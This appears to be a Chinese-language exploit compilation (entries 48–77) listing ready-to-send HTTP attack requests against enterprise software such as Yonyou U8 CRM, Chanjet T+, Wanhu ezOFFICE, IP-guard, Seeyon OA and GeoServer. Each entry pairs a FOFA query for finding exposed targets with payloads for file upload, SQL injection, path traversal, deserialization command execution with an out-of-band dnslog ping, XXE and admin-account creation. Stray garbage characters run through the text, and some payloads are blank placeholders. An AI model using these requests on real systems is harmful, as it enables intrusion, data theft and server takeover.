0 z+ X. W7 i9 e" G) Q; r2 \$ e! IIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
0 l& [; E9 r; \, E3 _* G8 ^Connection: close


  w, |  B. M* h8 H
; U7 x6 {; [: u, B48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
+ [6 Y, P2 ?# x% m& `Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( U0 E4 ]. _7 h" HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: N, t/ E$ H+ ]; r  ?0 {Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
) ]4 K7 e4 W" A: f8 f------269520967239406871642430066855
  ]$ j; h5 Z. p( nContent-Disposition: form-data; name="file"; filename="s.php"
0 f- s! b% y# z; g7 b1231
Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
( C8 t7 W3 P8 J( ~7 U1 e5 m9 _upload
: j1 _$ k( e9 o; h: O, R; R------269520967239406871642430066855--
  \7 p0 Y& B. i+ u

49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
& y5 i0 L2 p" X2 }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
- w  h3 ?9 y9 C- E7 g. I$ W# oContent-Length: 329
/ p5 P  L( O1 s* ~+ OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 R( j: g" a) Q7 v3 bConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

% _$ G3 k* C7 Z) [' H$ ~9 i-----------------------------vvv3wdayqv3yppdxvn3w
! S7 @* g, t' b8 jContent-Disposition: form-data; name="file"; filename="%s.php "
3 N4 @6 t. N! @; e/ J% |Content-Type: application/octet-stream
: t/ J( L. _& u2 f- n
- _; [" T, w4 r, cwersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

( q! J: z9 K3 N  K& oupload
-----------------------------vvv3wdayqv3yppdxvn3w--
; ^2 e' [0 z7 X  a3 Z+ a" |0 U4 i" j
% @2 S8 U0 a! W9 R  `3 t& [
http://x.x.x.x/tmpfile/updB3CB.tmp.php
1 V% w- f5 G7 I
/ ]  g  v3 A$ Z; C50. QDocs Smart School 6.4.1 filterRecords SQL注入
8 J, L* w$ }( D' A9 ]FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
; H+ L! Q# z4 k, ~9 KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
+ ~2 x, ^+ S* y7 T/ U% J! a% K/ L  [6 ?Connection: close
Content-Length: 224
Accept: */*
4 Y; e% F" ]9 \7 zAccept-Language: en
3 W% z0 S6 j# \Content-Type: application/x-www-form-urlencoded
, p3 D' f8 ~5 ~1 yAccept-Encoding: gzip

, G) D+ m2 @& A& c2 isearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

: j4 D' N0 Q7 X% A. t
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
0 ]% k8 d; e% t2 xGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
7 @0 G* s$ U' `; e3 k8 [Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

" g3 n. ^) x/ e  |# y# K2 g, U
6 k6 o7 N; s4 U2 B. |: A  A52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
3 r, [1 `. o' ZPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
, E+ h, c8 p% P3 t& @. u+ uUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
9 w9 A% [2 D/ g3 BContent-Length: 87
9 Z4 ~8 H; b0 c. j% d' vAccept: */*
Accept-Language: en
* i1 {9 C* P0 V" T7 x* |Content-Type: application/x-www-form-urlencoded
% o7 p" ~4 M( _# Y& V7 nAccept-Encoding: gzip

4 ]. S) z6 m2 i: s6 b+ Etfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

: f  Z" w$ z  l& q: q, \  q5 e9 H# G
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
) |6 W9 j, n$ a/ O; dFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
/ `3 W) s' y7 `"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

- m- q3 Y6 M9 |& U1 U6 A* D& Q0 L
完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
: {+ B) J; W/ M/ T, IHost: x.x.x.x
! P2 p; ?) k2 P" XUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
  J* h' ?% z7 c% L3 IContent-Length: 593

3 c. @% g' y8 d$ B  J% T{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
9 x+ m  I0 D; `3 b% p2 ?# z0 U    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
1 {" {7 s1 f/ ?. k  }
  }
3 M9 B$ ?) \6 W! u}

4 Y- S- R0 \* ^+ z% h) C
6 v* b. E- F: x1 l第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
0 a" D9 d* }8 P6 w" A

9 C  \- n, @* B55. 畅捷通T+ getdecallusers信息泄露
  D8 S7 g- L3 Q  DFOFA：app="畅捷通-TPlus"
/ g) X8 ^. H+ E- ~* ~$ V第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
4 X5 D$ s! ?. a, N/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
7 J9 c* ^) b+ THost: x.x.x.x
. F4 M- ?" X+ `- a# x" dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
$ L$ c- R/ [/ O6 l1 ~8 i% T3 z* I1 RContent-Type: application/json
" y  {0 z* H1 @: ^& K* ?# q
{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
( [! h# Q; d. }0 `3 i   "MethodName":"Start",
6 m7 U9 e* v% L* l4 k    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
, e3 J, ]4 c9 M& w; t- A$ `        "StartInfo": {
0 S# |4 ?& E) h  u( m           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
! w& m. B5 Q  W- h# Y           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
  i5 n% {. N$ m; T7 G' c       }
    }
  }
; r" w, j( C/ i3 s}
: D" y3 p: ]2 d7 q
' K% k" s0 k7 @4 `
0 \) K+ Y  Y( D+ S57. 畅捷通T+ keyEdit.aspx SQL注入
  H$ r7 H7 \4 AFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
9 ^/ \1 D, ^1 H0 W6 OAccept-Encoding: gzip, deflate
Connection: close
. @# }- s9 {0 J7 G" F

2 P1 T* e+ h6 b5 B5 w8 Z9 T' L5 Z  X58. 畅捷通T+ KeyInfoList.aspx sql注入
  T/ |4 c; b/ C1 l' G! E$ k2 wFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
0 B4 I5 f' v) }4 W. uAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
3 V# O1 `) N3 m8 n' |( qConnection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
. \4 h0 X: h, i) v7 k+ SFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
0 O) l8 d9 _( xAccept: */*
+ W/ B1 @$ Y; n3 p" f. |4 u! zAccept-Language: en
Content-Type: application/x-www-form-urlencoded
' @: x1 P% \& Y2 x3 ?( N7 r- \- JAccept-Encoding: gzip
! E& L, A; Z: q& k) ?) t; C
PAYLOAD


* b1 X# g* Q# `- _0 M" N' ]60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
4 r0 r- S. J  F6 Q, J: jGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
, l, i: O; Y4 l/ BHost:
1 E* V9 U7 |! F, \* TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 [1 B) r' J1 j" K( xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, ~$ g. _' ]* z9 T# M/ h9 oAccept-Encoding: gzip, deflate
( p) @9 s! t8 I! K5 K- C# c$ bAccept-Language: zh-CN,zh;q=0.9
% w% D2 q* Z( Q5 I, jConnection: close
; X8 \9 x% w- O1 c7 j7 \

% @& f/ S& z* E6 D* K; H: C) a61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
5 @/ R' J0 G2 Y, h* u' p9 ~. r- ~POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
% [7 w# f3 Y! ~% c7 PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  t/ \6 i  ?: a; [% o" SConnection: close
4 s' D/ s$ j4 q+ [1 b* FContent-Length: 27
5 C5 s5 b6 Y9 z# k7 Q7 X9 @# kAccept: */*
# u  F. m1 I2 g. s6 w% m) i1 _( Q+ dAccept-Encoding: gzip, deflate
$ S4 r+ Z" T, `* bAccept-Language: en
2 V! S" B2 N$ u- A5 w6 l( wContent-Type: application/x-www-form-urlencoded
0 c  w# c& u% z! ~
8uxssX66eqrqtKObcVa0kid98xa
) T7 m% e7 t8 u8 D2 k- [
7 ?9 R* Q! Q7 x+ A5 q- z+ s. F5 ~
62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
5 Y$ \% Z8 X& @; r0 LGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

. H& p9 ~' l7 b
访问
! }, ?$ q7 q+ d, i0 n+ q
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
$ g2 s* F9 B- X& F$ Y1 W! pFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
' O- G/ ~$ D  A$ j$ L% u' B2 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
. d5 H- P0 \3 y0 ?3 yAccept-Language: zh-CN,zh;q=0.9
Connection: close
$ j# P1 d. W- e  b& G" |8 ~Content-Type: application/x-www-form-urlencoded

; U9 m1 O7 @! T, w7 J% j# f+ qpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
. f' Q- c  U5 ^% r7 R+ U' X
/ _; s5 \: r9 d4 O1 y1 n  Q- z8 T64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
5 C3 I1 o: x# ?' {) ^! o3 Q! zPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
% X. n4 G; Z5 W! z6 zHost: 192.168.86.128:9001
4 V, C- Y. `( b+ f% \9 {# _User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
* L- P1 B. O! l) z0 ~) O! P" XAccept: */*
Accept-Language: en
* T3 H5 M9 y5 _( k$ _Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
& W6 M7 ?- d; @5 H/ F  K
<?xml version="1.0" encoding="utf-8"?>
; c) u" G  t& K4 t& T2 {# c<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
6 |, P, G$ x- N0 H  h      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
- M' N; w: T$ {( b& D' {</soap:Envelope>

* d+ }+ o, k: c9 d. X
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
. V4 P2 x, m% m1 O! `响应200即成功创建账号test123456/123456
) k" ~2 M; q6 }, I) T- gPOST /SystemMng.ashx HTTP/1.1
Host:
7 H3 K- e, a4 O9 j& j+ IUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
# P' o* T3 w( |' w* MConnection: close
( z4 P4 f) l: i; H8 T; I3 A" QAccept-Language: en
Content-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
) d& f# Q- H  \8 `5 K
5 J7 {. D* S2 s/ w+ g1 R0 v7 M
( j4 u& ?0 u+ s# e! l4 S66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
& B. I. R; m- i. gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
' p6 y6 j3 X  ?# w  R; z7 d' bAccept-Encoding: gzip


! }7 ~1 [# c9 D! J1 N( [% n第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
. C- z" d3 ~) Y9 YnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
3 k8 q) p; }1 D$ Y; e; }( m; q+ jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
1 c! f+ H: K/ h5 YContent-Length: 173
5 b; ^6 U. {5 ]5 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
8 Y# s* N- c# n0 {/ l' r( u( ]Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
" ~( }4 |, a' c( [1 J" ^' [DNT: 1
Upgrade-Insecure-Requests: 1
1 _" g- c1 `1 [4 h
4 M6 K$ x' N6 I--ufuadpxathqvxfqnuyuqaozvseiueerp
) t3 e0 o* x' e; k+ M4 TContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

. X( N2 i8 N- ~- H9 o+ U7 o<% out.print("sasdfghjkj");%>
3 J7 I8 U- F6 Z+ _--ufuadpxathqvxfqnuyuqaozvseiueerp--
. r" W/ E1 G- P$ V
& b4 G* G* }/ f) s
9 E" J/ _, P/ ?( x6 D6 z% U9 C文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
# _, m# e3 `( U' g# U7 @
2 |5 p0 R$ E" `68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
9 U$ }" \. f) ]; }* TGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
% h6 P+ r3 \6 I& B* DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
0 l9 k7 C2 s3 S7 ^& L& o/ YAccept-Encoding: gzip, deflate
/ i$ [# g- j4 L  WAccept-Language: zh-CN,zh;q=0.9
* K. q8 n4 |, c' q2 lConnection: close

, ~8 J  v  z  |0 e4 w
1 C* ~' a. @# X9 J( ?6 A+ L$ F69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
% s* W0 G  e1 M& s( l/ c# _; zAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

4 m, W6 w5 U& I5 f
# T3 W, z! \. b3 H70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
* d. W2 `6 u* _2 Q3 PPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
. ^+ t4 t, q  p5 i& L- J* \( WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
* p8 \0 m% ^4 ^4 {* X) aSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
) w, @8 X, g' t/ s! Z  D$ }0 x2 ~Content-Type: application/x-www-form-urlencoded
TYPE: C
6 S9 @: M; I  b$ k8 PContent-Length: 16702

$ Z  `& @1 a5 J0 f2 f6 i__VIEWSTATE=PAYLOAD
' p( }/ M* C1 a" e
  P* m) e/ k* d
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
7 b; J6 U- @; [6 @: DHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
0 {/ d0 G: E* J1 N7 e- y/ l2 uConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1


72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
! S) W/ E+ h+ D2 H, U' ZHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
9 t: m/ E! G( N# S3 m/ p+ hContent-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

6 N# L" j6 m" s, ?. NS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
8 x0 h& Y- e5 _7 Q- F+ p" M! f
" M* P3 X& T# F/ E, D
) {- u. `* Q5 Z( y# I3 M73. GeoServer wms远程代码执行
3 C5 ~+ i0 v- hFOFA：icon_hash=”97540678”
2 K" ~* P( Z8 G8 pPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
2 O( k1 F; M# U, BAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
; p7 S$ _' a5 j# d& l9 F- ~SL-CE-SUID: 3

: |1 ?" A, A3 iPAYLOAD


- S' i; x/ y7 j% l$ X! v3 `74. 致远M3-server 6_1sp1 反序列化RCE
$ c8 p$ ?& s# y$ R, }FOFA：title="M3-Server"
PAYLOAD
" ^9 ]9 a/ O' O% ?) A6 I
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
3 I+ A0 p- v. C/ cFOFA：app="TELESQUARE-TLR-2005KSH"
0 g! _' ]( ?: P. k3 m0 rGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
5 s' Z" C' i" o# z& B$ GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# c  F1 u4 q$ K$ bConnection: close
9 P1 a& _! }9 L' ~$ |% JAccept: */*
4 a! X- l) M- i. k+ BAccept-Language: en
Accept-Encoding: gzip


GET /cgi-bin/test28256.txt HTTP/1.1
# j& V. d& `9 H* y2 {; w/ NHost: x.x.x.x
& Y5 E( K. J5 \6 M% S
# x* W& n- g, |
* \- x& g7 v* ?. J2 e76. 新开普掌上校园服务管理平台service.action远程命令执行
6 V6 r& I4 @! L7 B2 \/ o  [, v  fFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
' X4 s- t& G" \& a0 R7 rConnection: close
# j+ j. ~! F7 q1 f. U# qContent-Length: 211
, d) B0 ?6 r! J. t& B9 E% `! mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
* \: j' `& `7 }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% I  E1 J  K* q: P, b9 ?* h5 bCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
  E$ H) R: I% s  H8 u  ~Upgrade-Insecure-Requests: 1

{
"command": "GetFZinfo",
5 ~! g7 M" g" o7 a5 X  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
2 u' z% ^8 |: j7 B9 X0 E

5 a* u% M+ r  ]3 Q4 I) D' e5 SGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x


8 t; e: k0 @1 A
1 H6 v% D+ Y, N  F, h77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
) ~) b! f7 e  f7 e% S. F: cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
& a2 j. d6 d) J7 j* xConnection: close
1 q4 Z) N5 k+ R& x; \* p3 SContent-Length: 433
2 X1 o/ n& f& C2 e8 l' JAccept: */*
Accept-Encoding: gzip, deflate
# U' X; r) x0 FAccept-Language: zh-CN,zh;q=0.9
# u0 s+ v0 a, q, xContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
% B0 Q1 p4 P# ^6 A% X( i& N
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
! m8 ]" b6 m. B4 V/ p4 O: b
/upload/udplog
